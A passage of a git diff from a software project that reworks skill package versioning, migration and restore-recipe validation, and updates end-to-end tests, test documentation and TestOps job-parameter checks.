+ results.push({ skillId: skill.id, companyId: skill.companyId, status: "converted", versionId: result.version.id }); + } catch (error) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "blocked", reason: error instanceof Error ? error.message : "Conversion failed" }); + } + } + return { inspected: skills.length, after: skills.at(-1)?.id ?? null, results }; + } + + async function eligibility(options: Page = {}) { + const skills = await db.select().from(companySkills).where(scope(options)).orderBy(asc(companySkills.id)).limit(limit(options)); + const results = []; + for (const skill of skills) { + const pins = await protectedVersions(db, skill.companyId); + let status = linkedLocal(skill) ? "linked_local" : legacyManaged(skill) ? "legacy_managed" : "version_backed"; + if (pins.versions === null) status = "unsupported_active_run"; + else if (!linkedLocal(skill) && !skill.currentVersionId) status = "missing_current_version"; + else if (skill.sourceType === "catalog" && !skill.metadata?.originVersionId) status = "legacy_catalog_origin"; + else if (status === "version_backed" && skill.currentVersionId) { + try { + const version = await store.version(skill.companyId, skill.id, skill.currentVersionId); + if (!version) status = "unavailable_current_version"; + else if (!coversInstalledInventory(skill, await store.versionInventory(version))) status = "incomplete_current_version"; + } catch { status = "unavailable_current_version"; } + } + results.push({ skillId: skill.id, companyId: skill.companyId, sourceType: skill.sourceType, versionId: skill.currentVersionId, status }); + } + return { inspected: skills.length, after: skills.at(-1)?.id ?? null, results, contentVerified: false }; + } + + async function verifyVersions(options: Page = {}) { + const versions = await db.select(skillVersionMetadataColumns).from(companySkillVersions).where(and( + options.companyId ? eq(companySkillVersions.companyId, options.companyId) : undefined, + options.id ? eq(companySkillVersions.id, options.id) : undefined, + options.after ? gt(companySkillVersions.id, options.after) : undefined, + )).orderBy(asc(companySkillVersions.id)).limit(limit(options)); + const results = []; + for (const version of versions) { + options.signal?.throwIfAborted(); + const packageId = version.repositorySnapshotId ?? version.packageSnapshotId; + let status = "missing_package"; + try { + if (packageId) { + const receipt = await store.descriptor(version.companyId, packageId); + status = !receipt.storage ? "no_durable_receipt" : receipt.storage.provider !== provider() ? "provider_mismatch" + : receipt.storage.provider === "local_disk" ? "local_storage" : "remote_storage"; + if (receipt.storage && receipt.storage.provider === provider() + && !await store.verifyDurable(version.companyId, packageId, options.signal)) status = "corrupt_package"; + if (!receipt.storage && receipt.restorable && version.repositorySnapshotId === packageId) { + const active = await protectedVersions(db, version.companyId); + const [protectedRow] = await db.execute(sql`select 1 from company_skills + where company_id = ${version.companyId} and current_version_id = ${version.id} + union all select 1 from company_skill_test_runs where company_id = ${version.companyId} + and status in ('queued', 'running') and skill_version_id = ${version.id} + union all select 1 from agents where company_id = ${version.companyId} + and adapter_config::text like ${`%${version.id}%`} limit 1`); + if (!protectedRow && active.versions && !active.versions.has(version.id) + && Date.now() - receipt.createdAt.getTime() >= 30 * 24 * 60 * 60_000) { + await store.recoveryRecipe(version.companyId, packageId); + status = "expired_git_history"; + } + } + } else { + const files = await store.versionFiles(version, false, options.signal); + skillPackageManifest(files); + status = files.some(file => file.path === "SKILL.md" && file.encoding !== "base64") + ? version.releaseId ? "database_release_snapshot" : "database_snapshot" + : "incomplete_database_snapshot"; + } + // A valid archive can still be an incomplete legacy installation. Compare + // only the current head: historical revisions may legitimately omit files + // that were added later. Inventory reads do not load SQL package bodies. + const [installed] = await db.select().from(companySkills).where(and( + eq(companySkills.companyId, version.companyId), eq(companySkills.id, version.companySkillId), + eq(companySkills.currentVersionId, version.id), + )); + if (installed && !linkedLocal(installed) + && !coversInstalledInventory(installed, await store.versionInventory(version))) status = "incomplete_current_version"; + } catch { status = "unavailable_or_corrupt_package"; } + results.push({ companyId: version.companyId, skillId: version.companySkillId, versionId: version.id, packageId, status }); + } + return { inspected: versions.length, after: versions.at(-1)?.id ?? null, results }; + } + return { installations, eligibility, verifyVersions }; +} diff --git a/server/src/services/skill-package-maintenance.ts b/server/src/services/skill-package-maintenance.ts index c6b714205ee..8f33396cfbe 100644 --- a/server/src/services/skill-package-maintenance.ts +++ b/server/src/services/skill-package-maintenance.ts @@ -1,5 +1,5 @@ import path from "node:path"; -import { and, asc, eq, gt, isNull, lte, sql } from "drizzle-orm"; +import { and, asc, eq, gt, isNull, lte, or, sql } from "drizzle-orm"; import { companySkillRepositorySnapshots as snapshots, companySkillVersions as versions, skillPackageDeletions, type Db } from "@paperclipai/db"; import { getStorageService, type StorageService } from "../storage/index.js"; @@ -43,7 +43,8 @@ export function skillPackageMaintenance(db: Db, storage?: StorageService) { const rows = await db.select(skillVersionMetadataColumns).from(versions).where(and( options.companyId ? eq(versions.companyId, options.companyId) : undefined, options.id ? eq(versions.id, options.id) : undefined, - options.after ? gt(versions.id, options.after) : undefined, options.clearLegacy ? undefined : isNull(versions.packageSnapshotId), isNull(versions.releaseId))) + options.after ? gt(versions.id, options.after) : undefined, + options.clearLegacy ? undefined : or(isNull(versions.packageSnapshotId), isNull(versions.packageFileMap)), isNull(versions.releaseId))) .orderBy(asc(versions.id)).limit(pageSize(options)); let migrated = 0; if (options.apply) for (const row of rows) { @@ -51,6 +52,15 @@ export function skillPackageMaintenance(db: Db, storage?: StorageService) { const files = legacy?.files; options.signal?.throwIfAborted(); if (!files?.length) { + if (row.packageSnapshotId && !row.packageFileMap) { + const manifest = await store.manifest(row.companyId, row.packageSnapshotId, options.signal); + const changed = await db.update(versions).set({ packageFileMap: skillVersionFileMap(manifest.files), migrationAt: null }) + .where(and(eq(versions.companyId, row.companyId), eq(versions.id, row.id), + eq(versions.packageSnapshotId, row.packageSnapshotId), isNull(versions.packageFileMap))) + .returning({ id: versions.id }); + migrated += changed.length; + continue; + } await db.update(versions).set({ migrationAt: null }).where(eq(versions.id, row.id)); continue; } @@ -71,7 +81,7 @@ export function skillPackageMaintenance(db: Db, storage?: StorageService) { packageId ??= await store.prepare(row.companyId, files, true, options.signal); const legacyMetadata = new Map(files.map(file => [file.path, file])); fileMap = fileMap ? fileMap.map(file => ({ ...file, kind: legacyMetadata.get(file.path)?.kind ?? file.kind, - encoding: legacyMetadata.get(file.path)?.encoding ?? "utf8" })) : skillVersionFileMap(files, await store.manifest(row.companyId, packageId, options.signal)); + encoding: legacyMetadata.get(file.path)?.encoding ?? "utf8" })) : skillVersionFileMap(files); const receipt = await store.descriptor(row.companyId, packageId); if (!receipt.storage || !await store.verifyDurable(row.companyId, packageId, options.signal)) throw new Error(`Package must be migrated and verified first: ${packageId}`); await db.update(versions).set({ packageSnapshotId: packageId, packageFileMap: fileMap, ...(options.clearLegacy ? { fileInventory: [], migrationAt: null } : {}) }) diff --git a/server/src/services/skill-package-store.ts b/server/src/services/skill-package-store.ts index 075fab6efff..5b88c571fce 100644 --- a/server/src/services/skill-package-store.ts +++ b/server/src/services/skill-package-store.ts @@ -30,10 +30,15 @@ type Descriptor = Pick`'[]'::jsonb` }; export type StoredSkillVersion = typeof companySkillVersions.$inferSelect; -export function skillVersionFileMap(files: CompanySkillVersionFileInventoryEntry[], manifest: SkillPackageManifest): SkillPackageFileMapping[] | null { - const stored = new Map(manifest.files.map(file => [file.path, file])); - if (files.every(file => stored.get(file.path)?.kind === file.kind && stored.get(file.path)?.encoding === (file.encoding ?? "utf8"))) return null; - return files.map(file => ({ path: file.path, sourcePath: file.path, kind: file.kind, encoding: file.encoding ?? "utf8" })); +export function skillVersionFileMap(files: Array>): SkillPackageFileMapping[] { + return files.map(file => ({ path: file.path, sourcePath: file.path, kind: file.kind, encoding: file.encoding ?? "utf8" as const })); +} +export function skillVersionUsesWholePackage(version: Pick, manifest: SkillPackageManifest) { + if (!version.packageFileMap) return true; + const paths = new Set(version.packageFileMap.map(file => file.path)); + return paths.size === manifest.files.length && version.packageFileMap.length === manifest.files.length + && version.packageFileMap.every(file => file.path === file.sourcePath) + && manifest.files.every(file => paths.has(file.path)); } type ReadScope = { db: Db; descriptors: Map>; durable: Map>; versions: Map }; const readScope = new AsyncLocalStorage(); @@ -197,6 +202,13 @@ export function skillPackageStore(db: Db, suppliedStorage?: StorageService, cach const [saved] = await database.select({ restore: snapshots.restore }).from(snapshots).where(scope(row.companyId, row.id)); const recipe = saved?.restore; if (!recipe || recipe.version !== 1) throw notFound("This skill package has no exact-commit restore recipe"); + const url = new URL(recipe.repositoryUrl); + if (!/^[a-f0-9]{40}$/i.test(recipe.commitSha) || !recipe.sourceId || !recipe.repositoryId + || url.protocol !== "https:" || url.hostname !== "github.com" || url.username || url.password + || !/^\/[^/]+\/[^/]+$/.test(url.pathname) || url.search || url.hash) { + throw new Error("Invalid immutable skill package recipe"); + } + if (recipe.skillPath) assertSkillSnapshotPath(recipe.skillPath); const manifest = validateSkillPackageManifest(recipe.manifest); if (manifest.contentHash !== row.contentHash || (row.storage && packageSha256(skillPackageManifestBytes(manifest)) !== row.storage.manifestSha256)) { throw new Error("Skill package restore recipe does not match its receipt"); @@ -670,5 +682,6 @@ export function skillPackageStore(db: Db, suppliedStorage?: StorageService, cach return row?.files ?? []; } return { descriptor, prepare, bindRestore, files, version, prefetch, versionFiles, versionInventory, readVersionFile, withPackage, withIsolatedPackage, verifyDurable, + recoveryRecipe: async (companyId: string, id: string) => restoreRecipe(await descriptor(companyId, id)), manifest: async (companyId: string, id: string, cancellation?: AbortSignal) => manifestFor(await descriptor(companyId, id), cancellation) }; } diff --git a/server/src/services/skill-sources.ts b/server/src/services/skill-sources.ts index 54ed9473116..ce9bc589ecf 100644 --- a/server/src/services/skill-sources.ts +++ b/server/src/services/skill-sources.ts @@ -7,7 +7,6 @@ import { listSkillSourceBranches } from './skill-source-branches.js'; import { createHash, randomUUID } from 'node:crypto'; import { skillSourceRetryAt } from './skill-source-retry.js'; import path from 'node:path'; -import { promises as fs } from 'node:fs'; import { folderService } from './folders.js'; import { and, eq, isNull, lt, or, sql } from 'drizzle-orm'; import { companySkillSources as sources, companySkillSourceEntries as entries, companySkills, companySkillRepositorySnapshots, projectSkillSources, projects, type Db, type SkillPackageRestoreRecipe, authUsers } from '@paperclipai/db'; @@ -450,20 +449,17 @@ export function skillSourceService(db: Db) { const [user] = await db.select({ name: authUsers.name }).from(authUsers).where(eq(authUsers.id, context.actor.userId)); folderId = (await folderService(db).ensureMyFolder(companyId, context.actor.userId, user?.name ?? null)).id; } - const directories: string[] = []; - try { - return await db.transaction(async tx => { - await tx.execute(sql`SET CONSTRAINTS paperclip_skill_runtime_changed DEFERRED`); - await lock(tx); - for (const skillId of skillIds) await skills.makeImportedSkillEditable(companyId, skillId, context.actor, folderId, tx, directories); - await remove(tx, skillIds.length, 0); - return { id, copiedCount: skillIds.length, deletedCount: 0 }; - }); - } catch (error) { - await Promise.all(directories.map(directory => fs.rm(directory, { recursive: true, force: true }))); - throw error; - } + const prepared: Array>> = []; + for (const skillId of skillIds) prepared.push(await skills.prepareImportedSkillEditable(companyId, skillId)); + return db.transaction(async tx => { + await tx.execute(sql`SET CONSTRAINTS paperclip_skill_runtime_changed DEFERRED`); + await lock(tx); + for (const candidate of prepared) await skills.makeImportedSkillEditable(candidate, context.actor, folderId, tx); + await remove(tx, skillIds.length, 0); + return { id, copiedCount: skillIds.length, deletedCount: 0 }; + }); } + async function importFromUrl(companyId: string, input: string, context: SkillSourceContext) { const parsed = parseSkillImportSourceInput(input); const url = new URL(parsed.resolvedSource); diff --git a/server/src/services/skill-version-cache.ts b/server/src/services/skill-version-cache.ts index e81e253314d..ccb232eb100 100644 --- a/server/src/services/skill-version-cache.ts +++ b/server/src/services/skill-version-cache.ts @@ -144,9 +144,7 @@ export async function protectedVersions(db: Db, companyId: string): Promise<{ ve || input.binding.runId !== id || input.binding.agentId !== agentId || input.binding.issueId !== nativeIssueId) return unknown(); for (const skill of input.runtimeContext.skills) { - // Unversioned skills have their own captured asset bundle; they do - // not reference a directory under __versions__. - if (skill.versionId === null) continue; + if (skill.versionId === null) return unknown(); if (!uuid.test(skill.versionId)) return unknown(); add(skill.versionId); } diff --git a/server/src/vendor/paperclip-runner/index.ts b/server/src/vendor/paperclip-runner/index.ts index b94c0791176..94143837aee 100644 --- a/server/src/vendor/paperclip-runner/index.ts +++ b/server/src/vendor/paperclip-runner/index.ts @@ -96,6 +96,8 @@ export const runnerCodexDynamicToolsFit = runner.runnerCodexDynamicToolsFit; export const inspectWarmRunTransition = runner.inspectWarmRunTransition; export const readRunnerdArtifactBinding = runner.readRunnerdArtifactBinding; export const readLinuxProcessStartedAt = runner.readLinuxProcessStartedAt; +export const NativeSessionCloseUnrecoverableError = + runner.NativeSessionCloseUnrecoverableError; export const NativeSessionCleanupQuarantinedError = runner.NativeSessionCleanupQuarantinedError; export const NativeSessionProtocolIntegrityError = diff --git a/tests/e2e/agent-chat-projects.spec.ts b/tests/e2e/agent-chat-projects.spec.ts index a631d3ea928..994df38746c 100644 --- a/tests/e2e/agent-chat-projects.spec.ts +++ b/tests/e2e/agent-chat-projects.spec.ts @@ -500,6 +500,7 @@ test("shared questions resume and existing project reuse creates no project card ); await page.goto(f.route); await send(page, { action: "question" }); + await idle(request, f.chatPath); await expect( page.getByRole("radio", { name: "Garden club", exact: true }).last(), ).toBeVisible(); @@ -610,7 +611,7 @@ test("disabling the experiment lets an active turn settle and keeps idle history await send(page, { action: "delayed" }); await expect( page.getByText("Turn started before feature disable.", { exact: true }), - ).toBeVisible(); + ).toBeVisible({ timeout: 30_000 }); const chat = await json(await request.get(f.chatPath)); await json( await request.patch("/api/instance/settings/experimental", { diff --git a/tests/e2e/agent-chat-sessions.spec.ts b/tests/e2e/agent-chat-sessions.spec.ts index 722fc3c3bd9..76b888839fa 100644 --- a/tests/e2e/agent-chat-sessions.spec.ts +++ b/tests/e2e/agent-chat-sessions.spec.ts @@ -180,7 +180,7 @@ test("Stop then queued /new resets unpause the conversation without losing histo (c: any) => c.body === "Provider is streaming and ready to stop.", ) ); - }) + }, { timeout: 30_000 }) .toBe(true); const issue = await json(await request.get(f.chatPath)); const active = ( diff --git a/tests/runner-e2e/CHAT-FEATURES.md b/tests/runner-e2e/CHAT-FEATURES.md index 3d237a790c1..864e25564a2 100644 --- a/tests/runner-e2e/CHAT-FEATURES.md +++ b/tests/runner-e2e/CHAT-FEATURES.md @@ -223,8 +223,12 @@ actors before any TestOps mutation. A later dispatch or replay cannot reuse that approved number. Missing or uncertain metadata stops; an uncertain request needs reconciliation rather than a new send. The nonce and launch search provide additional evidence. Normal TestOps **Run** uses `evaluate` and is independent of -this one-time administrator fence. The operation parameter identifier and launch -nonce are also protected configuration, not dispatch inputs. +this one-time administrator fence. The launch nonce is protected configuration, +not a dispatch input. `CHAT_TESTOPS_OPERATION_PARAMETER_ID` is required only when +the registered job defines `operation`; the launcher sets that parameter to +`evaluate`. An official job with only `Branch` keeps its exact +`refs/heads/master` value and uses the fixed workflow's `evaluate` default. +Unknown parameters and other branch values are rejected. `CHAT_TESTOPS_INTEGRATION_ID` names the reviewed existing project GitHub integration. The launcher verifies its project, type and enabled state, then binds diff --git a/tests/runner-e2e/PRODUCT-JOURNEYS.md b/tests/runner-e2e/PRODUCT-JOURNEYS.md index 59bd750a262..895005cd15a 100644 --- a/tests/runner-e2e/PRODUCT-JOURNEYS.md +++ b/tests/runner-e2e/PRODUCT-JOURNEYS.md @@ -26,6 +26,7 @@ never start a server or depend on a tenant filesystem. | `task-create` | Company and signed-in board user | Create a task through the shared production composer, assign it to yourself, reopen and reload it, verify the saved prompt and no agent work | | `project-task-context` | Company, signed-in board user, task-write capability; no model runs | Create a project and a self-assigned task with the project selected through the production dialogs. Reopen the project, open its task, reload both, and verify exact saved company, project, prompt, assignment, standard work mode and zero runs | | `ask-question` | Company, configured agent capability, positive model allowance and exactly one permitted work run | Reuse the existing cross-model Ask question prompt; require one successful run with matching company/task/agent/model/environment, one saved exact answer, and visible readback after reload | +| `question-answer-resume` | Native agent; up to three work runs | Reuse the classic two-question story: answer a choice and a free-text question through the browser, verify each native continuation, then read the exact saved answers in an agent-authored task document after reload | | `task-properties` | Company, signed-in board user, task-write capability, prepared run-owned backlog task | Open its properties, assign it to the signed-in user, reload, check both UI and saved assignment; verify no agent run | | `task-search-filter` | Company, signed-in board user, task-write capability; zero model runs | Search three owned target/control tasks through the task list, require exact matching identities, filter Backlog to exclude the completed control, reload and return from the exact saved task with search/filter context intact | | `plan-revise-accept` | Native agent; three work runs | Reuse the classic Plan story: canonical draft, browser revision request, new revision-bound confirmation, approval and exact saved final response | @@ -35,6 +36,19 @@ never start a server or depend on a tenant filesystem. | `stop-redirect` | Native agent; three work runs; qualified Docker oracle | Download a verified checkpoint, Stop an active revision, require native cancellation acknowledgement, submit a new direction once and verify completion without original-run activity | | `cloud-onboarding` | Signed-in admitted Cloud account; fresh workspace; qualified bounded provider route | Create workspace in the portal, connect API key and native Codex agent in the wizard, complete a task, download and independently check its artifact | +The question-resumption journey uses the same natural-language scenario, browser +answer helper and behavioral grader as the classic `question-resume` suite. Native +provider questions can stay in one run; durable native questions create one exactly bound +continuation each. Creation must have an applied semantic receipt or a completed native +API mutation receipt with the original card, exact scope, form and idempotency key. +An API receipt must retain its creation identity unchanged after the answer. A form or +run count alone is never provenance. A target declares a three-run maximum and positive model allowance, +and a passing receipt must contain one to three attributed native runs. Other journeys +retain their exact run-count requirements. Both real board answers, no premature +output, the sole document's agent/company/task ownership and its reloaded revision +are independently checked. The private provider owns authentication, setup, accounting +and cleanup. Local calibration is not deployed-target qualification. + The shared Studio helper waits for the original saved file body before typing. An editor control can mount before the file query completes; editing that empty draft can otherwise lose the original content when the file arrives. @@ -70,8 +84,12 @@ Unexpected browser/API errors retain only a closed `task_search__failed` code. Stage names come from the journey source; raw exception text, URLs, form values, and response bodies are not added to reporting. Existing owned evidence failures keep their specific codes and the screenshot privacy guard stays in place. -It does not depend on row order or an otherwise empty company. This selection is -manual until a separate target owner records a fresh pass and admits it to a daily +It does not depend on row order or an otherwise empty company. The browser reads +the visible links together. Per-row indexed locators can disappear +while a search replaces the old collection; a detached snapshot is retried within +the existing poll deadline. Duplicates, unknown destinations, and extra controls +remain evidence failures. This does not add a journey retry or extend its timeout. +The selection stays manual until a separate target owner records a fresh pass and admits it to a daily plan; adding the shared journey does not qualify any deployed target. Supported acquisitions are managed self-hosted (`local`), registered existing diff --git a/tests/runner-e2e/README.md b/tests/runner-e2e/README.md index 431e03883b8..1107bc6ab18 100644 --- a/tests/runner-e2e/README.md +++ b/tests/runner-e2e/README.md @@ -212,8 +212,8 @@ The explicit-only `necessary-question` suite has four development cells: the recorded Codex and Claude models, on local and Daytona environments. It requests one essential booking reference that only the test user knows. The browser must show the actual free-text prompt and its explanation, then submit the real answer. -The oracle checks the unchanged question, its server-owned provider or semantic -receipt, the exact stored user answer, and one bound continuation. The saved +The oracle checks the unchanged question, its server-owned provider, semantic or +native API receipt, the exact stored user answer, and one bound continuation. The saved confirmation must contain that answer exactly. The final reply's link must open that same task document and display its confirmation. A title, success claim, replacement card, duplicate wake, or uncommitted result @@ -1734,13 +1734,18 @@ placement; it is not a statistical comparison with the former prompt arrangement The separate explicit-only `question-resume` suite uses the same neutral two-question request on native Codex and ACPX Claude. It qualifies the user journey through -either the provider's built-in question or Paperclip's semantic question tool. +the provider's built-in question, Paperclip's semantic question tool, or its native API fallback. It does not replace or regrade `question-tool-documentation`. The oracle classifies each wait from its exact task/agent/run identity. Provider questions require the server-generated request key and retain the paused run. -Semantic questions require an applied `request_human_input` receipt and one new -response wake bound to that interaction and source run. Only a verified provider +Durable questions require an applied `request_human_input` receipt or a completed +server-owned native `POST /api/issues/{id}/interactions` receipt. An API creation +receipt must report HTTP 201 and preserve the original pending card's exact task, +company, agent, source run, idempotency key and complete normalized form. It must +remain unchanged after the answer. Both durable paths require one new response +wake bound to that interaction and source run. Missing, pending, foreign or +mismatched receipts fail; form shape and run counts cannot replace them. Only a verified provider choice may carry the adapter's optional Other field. A second substantive question is still rejected; the subsequent reference question must be text-only. Both real board answers must remain bound to unchanged forms, and one saved document must diff --git a/tests/runner-e2e/catalog.test.ts b/tests/runner-e2e/catalog.test.ts index f2e24e085d9..3bcb8da7b91 100644 --- a/tests/runner-e2e/catalog.test.ts +++ b/tests/runner-e2e/catalog.test.ts @@ -100,7 +100,7 @@ describe("runner E2E catalog", () => { }); it("exports deployment journeys separately from the model matrix and default selection", () => { - expect(productJourneys.map(journey => journey.id)).toEqual(["task-create", "project-task-context", "ask-question", "task-properties", "task-search-filter", "plan-revise-accept", "build-revise", "protected-actions", "create-skill-studio", "stop-redirect", "cloud-onboarding"]); + expect(productJourneys.map(journey => journey.id)).toEqual(["task-create", "project-task-context", "ask-question", "question-answer-resume", "task-properties", "task-search-filter", "plan-revise-accept", "build-revise", "protected-actions", "create-skill-studio", "stop-redirect", "cloud-onboarding"]); expect(runnerSuites.some(suite => suite.id === "product-journeys")).toBe(false); expect(runnerMatrix.some(execution => execution.suite.id === "product-journeys")).toBe(false); expect(selectRunnerExecutions(parseRunnerSelectors(["--all"])).some(execution => execution.suite.id === "product-journeys")).toBe(false); diff --git a/tests/runner-e2e/chat-feature-testops-api.mjs b/tests/runner-e2e/chat-feature-testops-api.mjs index e77bbc4edac..0a0a16cbcfc 100644 --- a/tests/runner-e2e/chat-feature-testops-api.mjs +++ b/tests/runner-e2e/chat-feature-testops-api.mjs @@ -17,9 +17,10 @@ const diagnosticCodes = new Set(['untrusted_chat_testops_context', 'testops_toke 'testops_created_case_identity_invalid', 'testops_created_plan_identity_invalid', 'testops_plan_scope_mismatch', 'testops_operation_invalid', 'testops_output_invalid', 'untrusted_public_testops_context', 'chat_testops_identity_missing', 'chat_testops_case_mismatch', 'chat_testops_plan_mismatch', 'chat_testops_plan_job_mismatch', 'chat_testops_job_mismatch', - 'chat_testops_jobrun_mismatch', 'chat_testops_launch_mismatch', 'chat_testops_selection_mismatch', 'chat_testops_parameter_mismatch', 'chat_testops_nonce_invalid', 'chat_testops_nonce_conflict', 'chat_testops_catalog_incomplete', 'chat_testops_launch_admission', 'chat_testops_github_http', 'chat_testops_integration_mismatch', 'chat_testops_upload_mismatch', 'chat_testops_upload_unverified']); + 'chat_testops_job_id_mismatch', 'chat_testops_job_type_mismatch', 'chat_testops_job_parameters_shape_mismatch', + 'chat_testops_job_parameters_limit', 'chat_testops_job_url_mismatch', 'chat_testops_jobrun_mismatch', 'chat_testops_launch_mismatch', 'chat_testops_selection_mismatch', 'chat_testops_parameter_mismatch', 'chat_testops_nonce_invalid', 'chat_testops_nonce_conflict', 'chat_testops_catalog_incomplete', 'chat_testops_launch_admission', 'chat_testops_github_http', 'chat_testops_integration_mismatch', 'chat_testops_upload_mismatch', 'chat_testops_upload_unverified']); export function failureProjection(error, stage) { - const stages = ['context', 'output_admission', 'authentication', 'metadata_inspection', 'plan_bootstrap', 'selection_validation', 'launch_admission', 'launch_preflight', 'plan_launch', 'bootstrap_job_metadata', 'result_export', 'upload_verification', 'receipt']; + const stages = ['context', 'output_admission', 'authentication', 'metadata_inspection', 'plan_bootstrap', 'selection_validation', 'launch_admission', 'launch_preflight', 'plan_launch', 'bootstrap_job_metadata', 'result_export', 'upload_verification', 'bootstrap_context', 'receipt']; return { stage: stages.includes(stage) ? stage : 'unknown', code: error instanceof SetupFailure && diagnosticCodes.has(error.code) ? error.code : 'unknown_failure', httpStatus: error instanceof SetupFailure && Number.isInteger(error.status) && error.status >= 100 && error.status < 600 ? error.status : null }; @@ -146,9 +147,7 @@ export async function validateChatSelection(api, env) { const assignments = await api(`/api/testplan/${planId}/job`); if (!Array.isArray(assignments) || assignments.length !== 1 || assignments[0].job?.id !== jobId || assignments[0].testCasesCount !== 1) fail('chat_testops_plan_job_mismatch'); const job = await api(`/api/job/${jobId}`); - const jobUrls = ['https://github.com/paperclipai/paperclip/actions/workflows/chat-feature-testops.yml']; - if (positive(env.CHAT_TESTOPS_GITHUB_WORKFLOW_ID)) jobUrls.push(`https://github.com/paperclipai/paperclip/actions/workflows/${env.CHAT_TESTOPS_GITHUB_WORKFLOW_ID}`); - if (job.id !== jobId || job.type !== 'github' || !jobUrls.includes(job.url)) fail('chat_testops_job_mismatch'); + if (job.id !== jobId || job.type !== 'github' || !publicJobUrl(job.url, env)) fail('chat_testops_job_mismatch'); const run = await api(`/api/jobrun/${jobRunId}`); if (run.id !== jobRunId || run.job?.id !== jobId || run.job?.type !== 'github' || !['scheduled', 'in_progress'].includes(run.stage) || !id(run.launchId) @@ -162,12 +161,16 @@ export async function validateChatSelection(api, env) { } function configuredIds(env) { - const names = ['CHAT_TESTOPS_CASE_ID', 'CHAT_TESTOPS_PLAN_ID', 'CHAT_TESTOPS_JOB_ID', 'CHAT_TESTOPS_OPERATION_PARAMETER_ID', 'CHAT_TESTOPS_INTEGRATION_ID']; + const names = ['CHAT_TESTOPS_CASE_ID', 'CHAT_TESTOPS_PLAN_ID', 'CHAT_TESTOPS_JOB_ID', 'CHAT_TESTOPS_INTEGRATION_ID']; if (names.some(name => !positive(env[name]))) fail('chat_testops_identity_missing'); - return Object.fromEntries(names.map((name, index) => [['caseId', 'planId', 'jobId', 'parameterId', 'integrationId'][index], Number(env[name])])); + const operation = env.CHAT_TESTOPS_OPERATION_PARAMETER_ID; + if (operation !== undefined && operation !== '' && !positive(operation)) fail('chat_testops_identity_missing'); + return { ...Object.fromEntries(names.map((name, index) => [['caseId', 'planId', 'jobId', 'integrationId'][index], Number(env[name])])), + parameterId: positive(operation) ? Number(operation) : null }; } function publicJobUrl(url, env) { return url === 'https://github.com/paperclipai/paperclip/actions/workflows/chat-feature-testops.yml' + || url === 'https://github.com/paperclipai/paperclip/actions?query=workflow%3A%22Chat+feature+TestOps%22' || positive(env.CHAT_TESTOPS_GITHUB_WORKFLOW_ID) && url === `https://github.com/paperclipai/paperclip/actions/workflows/${env.CHAT_TESTOPS_GITHUB_WORKFLOW_ID}`; } async function registeredPlan(api, env) { @@ -182,27 +185,62 @@ async function registeredPlan(api, env) { if (job.id !== ids.jobId || job.type !== 'github' || !publicJobUrl(job.url, env)) fail('chat_testops_job_mismatch'); const integration = await api(`/api/integration/${ids.integrationId}/project/1`); if (integration.id !== ids.integrationId || integration.projectId !== 1 || integration.info?.type !== 'github' || integration.disabled !== false) fail('chat_testops_integration_mismatch'); - const definition = await api(`/api/environment/${ids.parameterId}`); - if (definition.id !== ids.parameterId || definition.name !== 'operation' || !Array.isArray(job.parameters) || job.parameters.length !== 1 - || job.parameters[0].id !== ids.parameterId || !['bootstrap', 'evaluate'].includes(job.parameters[0].value)) fail('chat_testops_parameter_mismatch'); - return { ...ids, selected, plan, job }; + if (!Array.isArray(job.parameters) || job.parameters.length < 1 || job.parameters.length > 2) fail('chat_testops_parameter_mismatch'); + const seenIds = new Set(), seenNames = new Set(), parameters = []; + for (const parameter of job.parameters) { + if (!id(parameter.id) || seenIds.has(parameter.id)) fail('chat_testops_parameter_mismatch'); + seenIds.add(parameter.id); + const definition = await api(`/api/environment/${parameter.id}`); + if (definition.id !== parameter.id || !['Branch', 'operation'].includes(definition.name) || seenNames.has(definition.name)) fail('chat_testops_parameter_mismatch'); + seenNames.add(definition.name); + if (definition.name === 'Branch') { + if (parameter.value !== 'refs/heads/master') fail('chat_testops_parameter_mismatch'); + parameters.push({ id: parameter.id, value: parameter.value }); + } else { + if (ids.parameterId !== parameter.id || !['bootstrap', 'evaluate'].includes(parameter.value)) fail('chat_testops_parameter_mismatch'); + parameters.push({ id: parameter.id, value: 'evaluate' }); + } + } + if (ids.parameterId !== null && !seenNames.has('operation')) fail('chat_testops_parameter_mismatch'); + return { ...ids, selected, plan, job, parameters }; } -export async function bootstrapJobMetadata(api, env) { - if (!positive(env.ALLURE_JOB_RUN_ID)) return { status: 'official_job_run_id_missing', actualResult: null }; +export async function bootstrapJobMetadata(api, env, expectedLaunchId) { + const strict = expectedLaunchId !== undefined; + const context = strict ? publicContext(env) : undefined; + if (strict && !id(expectedLaunchId)) fail('chat_testops_launch_mismatch'); + if (!positive(env.ALLURE_JOB_RUN_ID)) { + if (strict) fail('chat_testops_jobrun_mismatch'); + return { status: 'official_job_run_id_missing', actualResult: null }; + } const run = await api(`/api/jobrun/${env.ALLURE_JOB_RUN_ID}`); if (!id(run?.job?.id)) fail('chat_testops_jobrun_mismatch'); - const job = await api(`/api/job/${run.job.id}`); - if (job.id !== run.job.id || job.type !== 'github' || !Array.isArray(job.parameters) || job.parameters.length > 4) fail('chat_testops_job_mismatch'); - const parameters = []; - for (const parameter of job.parameters) { - if (!id(parameter.id)) fail('chat_testops_parameter_mismatch'); - const definition = await api(`/api/environment/${parameter.id}`); - const known = ['operation', 'ALLURE_JOB_RUN_ID', 'ALLURE_USERNAME'].includes(definition.name); - parameters.push({ id: parameter.id, name: known ? definition.name : 'UNKNOWN', - value: definition.name === 'operation' && ['bootstrap', 'evaluate', 'launch-plan'].includes(parameter.value) ? parameter.value : 'NOT_PROJECTED' }); + if (strict) { + if (run.id !== Number(env.ALLURE_JOB_RUN_ID) || run.job.type !== 'github' || run.launchId !== expectedLaunchId + || run.url !== `https://github.com/paperclipai/paperclip/actions/runs/${context.runId}`) fail('chat_testops_jobrun_mismatch'); + const launch = await api(`/api/launch/${expectedLaunchId}`); + if (launch.id !== expectedLaunchId || launch.projectId !== 1) fail('chat_testops_launch_mismatch'); } - return { status: 'observed', projectId: 1, jobId: job.id, allureJobRunId: env.ALLURE_JOB_RUN_ID, + const job = await api(`/api/job/${run.job.id}`); + if (job.id !== run.job.id) fail('chat_testops_job_id_mismatch'); + if (job.type !== 'github') fail('chat_testops_job_type_mismatch'); + if (!Array.isArray(job.parameters)) fail('chat_testops_job_parameters_shape_mismatch'); + if (job.parameters.length > 4) fail('chat_testops_job_parameters_limit'); + if (strict && !publicJobUrl(job.url, env)) fail('chat_testops_job_url_mismatch'); + const parameters = []; + const seen = new Set(); + for (const parameter of job.parameters) { + if (!id(parameter.id) || strict && seen.has(parameter.id)) 